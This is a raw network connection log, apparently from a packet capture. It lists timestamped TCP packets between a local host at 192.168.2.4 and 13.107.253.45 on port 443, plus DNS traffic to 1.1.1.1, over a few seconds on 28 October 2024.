Oct 28, 2024 19:12:41.989470005 CET	443	49880	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.989479065 CET	49880	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.989485025 CET	443	49880	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.992284060 CET	49885	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.992307901 CET	443	49885	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:41.992573977 CET	49885	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.992738962 CET	49885	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:41.992753029 CET	443	49885	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.301004887 CET	59151	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:12:42.306554079 CET	53	59151	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:42.306622028 CET	59151	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:12:42.306655884 CET	59151	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:12:42.312299013 CET	53	59151	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:42.455910921 CET	443	49881	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.456474066 CET	49881	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.456501961 CET	443	49881	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.456973076 CET	49881	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.456983089 CET	443	49881	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.590400934 CET	443	49881	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.590470076 CET	443	49881	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.590538979 CET	49881	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.590568066 CET	443	49881	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.590600967 CET	443	49881	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.590670109 CET	49881	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.591381073 CET	49881	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.591412067 CET	443	49881	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.591438055 CET	49881	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.591454029 CET	443	49881	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.599525928 CET	59152	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.599561930 CET	443	59152	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.599642992 CET	59152	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.599819899 CET	59152	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.599831104 CET	443	59152	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.608831882 CET	443	49884	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.609249115 CET	49884	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.609256983 CET	443	49884	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.609698057 CET	49884	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.609703064 CET	443	49884	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.611288071 CET	443	49882	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.611536026 CET	49882	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.611547947 CET	443	49882	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.611852884 CET	49882	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.611859083 CET	443	49882	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.619592905 CET	443	49883	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.619916916 CET	49883	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.619935036 CET	443	49883	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.620232105 CET	49883	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.620243073 CET	443	49883	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.763114929 CET	443	49884	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.763178110 CET	443	49884	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.763230085 CET	49884	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.763417006 CET	49884	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.763431072 CET	443	49884	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.763439894 CET	49884	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.763444901 CET	443	49884	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.764128923 CET	443	49882	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.764283895 CET	443	49882	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.764338970 CET	49882	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.764517069 CET	49882	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.764539003 CET	443	49882	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.764550924 CET	49882	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.764556885 CET	443	49882	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.765069962 CET	443	49883	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.765115023 CET	443	49883	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.765161991 CET	49883	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.765181065 CET	443	49883	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.765206099 CET	443	49883	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.765259981 CET	49883	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.765566111 CET	49883	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.765573978 CET	443	49883	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.765588045 CET	49883	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.765594006 CET	443	49883	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.767260075 CET	59153	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.767285109 CET	443	59153	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.767366886 CET	59153	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.767574072 CET	59153	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.767587900 CET	443	59153	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.768676996 CET	59154	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.768701077 CET	443	59154	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.768743992 CET	59155	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.768752098 CET	443	59155	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.768760920 CET	59154	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.768810987 CET	59155	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.768861055 CET	59154	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.768872976 CET	443	59154	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.768933058 CET	59155	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.768946886 CET	443	59155	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.786983967 CET	443	49885	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.787354946 CET	49885	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.787364960 CET	443	49885	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.787951946 CET	49885	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.787956953 CET	443	49885	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.899627924 CET	53	59151	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:42.900475979 CET	59151	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:12:42.906223059 CET	53	59151	1.1.1.1	192.168.2.4
Oct 28, 2024 19:12:42.906287909 CET	59151	53	192.168.2.4	1.1.1.1
Oct 28, 2024 19:12:42.932200909 CET	443	49885	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.932228088 CET	443	49885	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.932271957 CET	443	49885	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.932277918 CET	49885	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.932312965 CET	49885	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.942950964 CET	49885	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.942960024 CET	443	49885	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.945827961 CET	59157	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.945878029 CET	443	59157	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:42.945947886 CET	59157	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.946094990 CET	59157	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:42.946124077 CET	443	59157	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.355427027 CET	443	59152	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.355982065 CET	59152	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.355993986 CET	443	59152	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.356482983 CET	59152	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.356487989 CET	443	59152	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.490595102 CET	443	59152	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.490741968 CET	443	59152	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.490806103 CET	59152	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.490910053 CET	59152	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.490926027 CET	443	59152	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.490937948 CET	59152	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.490942955 CET	443	59152	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.493973017 CET	59158	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.494000912 CET	443	59158	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.494080067 CET	59158	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.494257927 CET	59158	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.494268894 CET	443	59158	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.512825012 CET	443	59155	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.513168097 CET	59155	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.513187885 CET	443	59155	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.513578892 CET	59155	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.513583899 CET	443	59155	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.519856930 CET	443	59154	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.520111084 CET	59154	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.520121098 CET	443	59154	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.520416975 CET	59154	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.520421982 CET	443	59154	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.545392036 CET	443	59153	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.545727015 CET	59153	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.545743942 CET	443	59153	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.546097040 CET	59153	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.546102047 CET	443	59153	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.652085066 CET	443	59155	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.652242899 CET	443	59155	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.652312040 CET	59155	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.652436972 CET	59155	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.652450085 CET	443	59155	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.652456999 CET	59155	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.652461052 CET	443	59155	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.655571938 CET	59159	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.655613899 CET	443	59159	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.655683041 CET	59159	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.655858040 CET	59159	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.655874014 CET	443	59159	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.659297943 CET	443	59154	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.659343004 CET	443	59154	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.659385920 CET	443	59154	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.659401894 CET	59154	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.659430981 CET	59154	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.659471989 CET	59154	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.659490108 CET	443	59154	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.659498930 CET	59154	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.659506083 CET	443	59154	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.661506891 CET	59160	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.661549091 CET	443	59160	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.661628962 CET	59160	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.661765099 CET	59160	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.661783934 CET	443	59160	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.689567089 CET	443	59153	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.691718102 CET	443	59157	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.692076921 CET	59157	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.692099094 CET	443	59157	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.692503929 CET	59157	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.692516088 CET	443	59157	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.693819046 CET	443	59153	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.693902969 CET	59153	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.693922043 CET	59153	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.693922043 CET	59153	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.693929911 CET	443	59153	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.693938971 CET	443	59153	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.695974112 CET	59161	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.696034908 CET	443	59161	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.696206093 CET	59161	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.696295977 CET	59161	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.696327925 CET	443	59161	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.828282118 CET	443	59157	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.829092979 CET	443	59157	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.829155922 CET	59157	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.829188108 CET	59157	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.829200029 CET	443	59157	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.829210043 CET	59157	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.829214096 CET	443	59157	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.831720114 CET	59162	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.831743002 CET	443	59162	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:43.831804037 CET	59162	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.831942081 CET	59162	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:43.831959009 CET	443	59162	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.402961969 CET	443	59158	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.403393984 CET	59158	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.403409958 CET	443	59158	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.403867960 CET	59158	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.403872967 CET	443	59158	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.421456099 CET	443	59159	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.421850920 CET	59159	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.421901941 CET	443	59159	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.422246933 CET	59159	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.422264099 CET	443	59159	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.424283028 CET	443	59160	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.424515963 CET	59160	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.424534082 CET	443	59160	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.424851894 CET	59160	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.424856901 CET	443	59160	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.464776993 CET	443	59161	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.465204000 CET	59161	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.465243101 CET	443	59161	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.465610981 CET	59161	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.465627909 CET	443	59161	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.542282104 CET	443	59158	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.542370081 CET	443	59158	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.542418003 CET	59158	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.542428970 CET	443	59158	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.542494059 CET	443	59158	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.542541981 CET	59158	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.542699099 CET	59158	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.542711973 CET	443	59158	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.542721033 CET	59158	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.542726040 CET	443	59158	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.546236992 CET	59163	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.546289921 CET	443	59163	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.546382904 CET	59163	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.546658039 CET	59163	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.546686888 CET	443	59163	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.559580088 CET	443	59159	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.559726000 CET	443	59159	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.559789896 CET	59159	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.559844017 CET	59159	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.559858084 CET	443	59159	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.559870958 CET	59159	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.559878111 CET	443	59159	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.562108040 CET	59164	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.562141895 CET	443	59164	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.562210083 CET	59164	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.562351942 CET	59164	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.562366009 CET	443	59164	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.563308954 CET	443	59160	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.563390970 CET	443	59160	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.563446045 CET	59160	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.563492060 CET	59160	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.563503981 CET	443	59160	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.563520908 CET	59160	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.563527107 CET	443	59160	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.566375971 CET	59165	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.566401958 CET	443	59165	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.566473007 CET	59165	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.566589117 CET	59165	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.566602945 CET	443	59165	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.580672979 CET	443	59162	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.581218004 CET	59162	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.581228018 CET	443	59162	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.581794977 CET	59162	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.581800938 CET	443	59162	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.602864981 CET	443	59161	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.603451014 CET	443	59161	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.603521109 CET	59161	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.603569031 CET	59161	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.603569031 CET	59161	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.603595018 CET	443	59161	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.603620052 CET	443	59161	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.606574059 CET	59166	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.606585979 CET	443	59166	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.606650114 CET	59166	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.606765985 CET	59166	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.606774092 CET	443	59166	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.722752094 CET	443	59162	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.722826958 CET	443	59162	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.722879887 CET	59162	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.722884893 CET	443	59162	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.722944021 CET	59162	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.723543882 CET	59162	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.723551989 CET	443	59162	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.723565102 CET	59162	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.723570108 CET	443	59162	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.741394997 CET	59167	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.741411924 CET	443	59167	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:44.741496086 CET	59167	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.741692066 CET	59167	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:44.741699934 CET	443	59167	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.306838989 CET	443	59163	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.307413101 CET	59163	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.307462931 CET	443	59163	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.307883978 CET	59163	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.307898998 CET	443	59163	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.325834990 CET	443	59164	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.331192017 CET	443	59165	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.332225084 CET	59164	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.332252026 CET	443	59164	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.332705021 CET	59164	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.332710028 CET	443	59164	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.333327055 CET	59165	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.333357096 CET	443	59165	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.333733082 CET	59165	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.333738089 CET	443	59165	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.408144951 CET	443	59166	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.409614086 CET	59166	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.409629107 CET	443	59166	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.410340071 CET	59166	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.410343885 CET	443	59166	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.443061113 CET	443	59163	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.443257093 CET	443	59163	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.443371058 CET	59163	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.457858086 CET	59163	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.457858086 CET	59163	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.457901955 CET	443	59163	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.457931042 CET	443	59163	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.466695070 CET	443	59164	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.466758966 CET	443	59164	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.466836929 CET	59164	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.466846943 CET	443	59164	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.466871977 CET	443	59164	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.466922045 CET	59164	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.469979048 CET	443	59165	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.470127106 CET	443	59165	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.470247030 CET	59165	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.473027945 CET	59164	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.473043919 CET	443	59164	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.473054886 CET	59164	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.473061085 CET	443	59164	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.474323034 CET	59165	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.474323034 CET	59165	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.474334955 CET	443	59165	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.474345922 CET	443	59165	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.480722904 CET	59168	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.480757952 CET	443	59168	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.480823040 CET	59168	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.487778902 CET	59169	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.487816095 CET	443	59169	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.487884045 CET	59169	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.489912987 CET	59168	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.489929914 CET	443	59168	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.494935036 CET	59169	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:45.494955063 CET	443	59169	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:45.499891996 CET	59170	443	192.168.2.4	13.107.253.45
